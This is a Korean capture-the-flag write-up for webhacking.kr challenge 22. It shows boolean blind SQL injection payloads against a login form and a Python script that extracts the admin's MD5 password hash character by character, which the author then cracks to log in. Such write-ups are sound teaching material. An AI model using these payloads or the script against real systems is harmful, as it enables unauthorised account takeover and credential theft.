

webhacking.kr 22번문제

Xero

박준혁 (한양대학교 신소재공학부 2학년 군휴학 중)

2016-04-09

Email : wnsgurzxc@naver.com

Facebook : <https://www.facebook.com/wnsgurzxc>

다음과 같은 로그인창이 있다.

HINT를 보니 admin으로 로그인하면 될 것 같다.

username	<input type="text"/>
password	<input type="password"/>
login	join

HINT

```
echo("hi! $id");  
echo("your password is $pw");  
  
if($id=="admin") echo("good! Password is $solution");
```

join을 들어가면 다음과 같이 나온다.

username	<input type="text"/>
password	<input type="password"/>
join	

xero, 1234로 가입하니 다음과 같이 Done이라고 떴다.

Done
[back](#)

xero. 1234로 가입하니 다음과 같이 user key를 말해준다.

```
hi! xero  
  
user key : 27987255989d4676c4ed5bea63dde641
```

md5라고 생각해 해독하니 1234zombie가 나왔다.

입력한 비밀번호 뒤에 zombie를 붙여서 md5하여 넣는 것 같다.

MD5 Hash: 27987255989d4676c4ed5bea63dde641
Decrypted Text: 1234zombie

admin으로 회원가입을 해보니 이미 존재하는 아이디라고 뜬다.

Username already exists

[back](#)

username에 다음과 같이 SQL Injection을 해 보았다.

admin' and 1=1#

그러니 Wrong password!를 출력하였다.

Wrong password!

admin' and 1=0# 로 거짓구문을 주니 다음과 같이 Wrong!을 출력하였다.

Wrong!

이로써 참과 거짓을 이용하는 Blind SQL Injection 문제인 것을 알아냈다.

우선 다음과 같이 length()로 길이를 알아내니 32글자였다.

admin' and length(pw)=32#

다음과 같은 Blind SQL Injection 구문을 만들었다.

admin' and ascii(substr(pw,1,1))=50#

파이썬으로 다음과 같이 코딩하였다.

```
>>> import string, re, http.client
>>> headers={'Content-Type':'application/x-www-form-
urlencoded','Cookie':'PHPSESSID=shnp96b1gub9laimgn9oo5eh2'}
>>> table=string.ascii_letters+string.digits+string.punctuation
>>> sAnswer=''
>>> conn=http.client.HTTPConnection('webhacking.kr')
>>> headers={'Content-Type':'application/x-www-form-
urlencoded','Cookie':'PHPSESSID=80hm47j7die1jhtjb9gfemfdi0'}
>>> for i in range(1,33):
>>>     for j in table:
>>>         conn.request('POST','/challenge/bonus/bonus-2/index.php','id=admin\' and
ascii(substr(pw,'+str(i)+'',1))='+str(ord(j))+ '#&pw=1',headers)
>>>         res=conn.getresponse().read()
>>>         if re.findall(b'Wrong password!',res):
>>>             sAnswer+=j
>>>             break
>>> sAnswer
'2a93a7cea083c6e9e02c97ec5a5d715a'
```

admin의 pw가 2a93a7cea083c6e9e02c97ec5a5d715a가 나왔다.
md5 디코딩을 하니 rainbowzombie가 나왔다.

Md5 Hash: 2a93a7cea083c6e9e02c97ec5a5d715a

Decrypted Text: rainbowzombie

비밀번호에 zombie가 붙는것이므로 원래 비밀번호는 rainbow이다.
admin / rainbow로 로그인하니 다음과 같이 로그인되었다.

hi! admin

user key : 2a93a7cea083c6e9e02c97ec5a5d715a

클리어

You have cleared the 22 problems.

Score + 500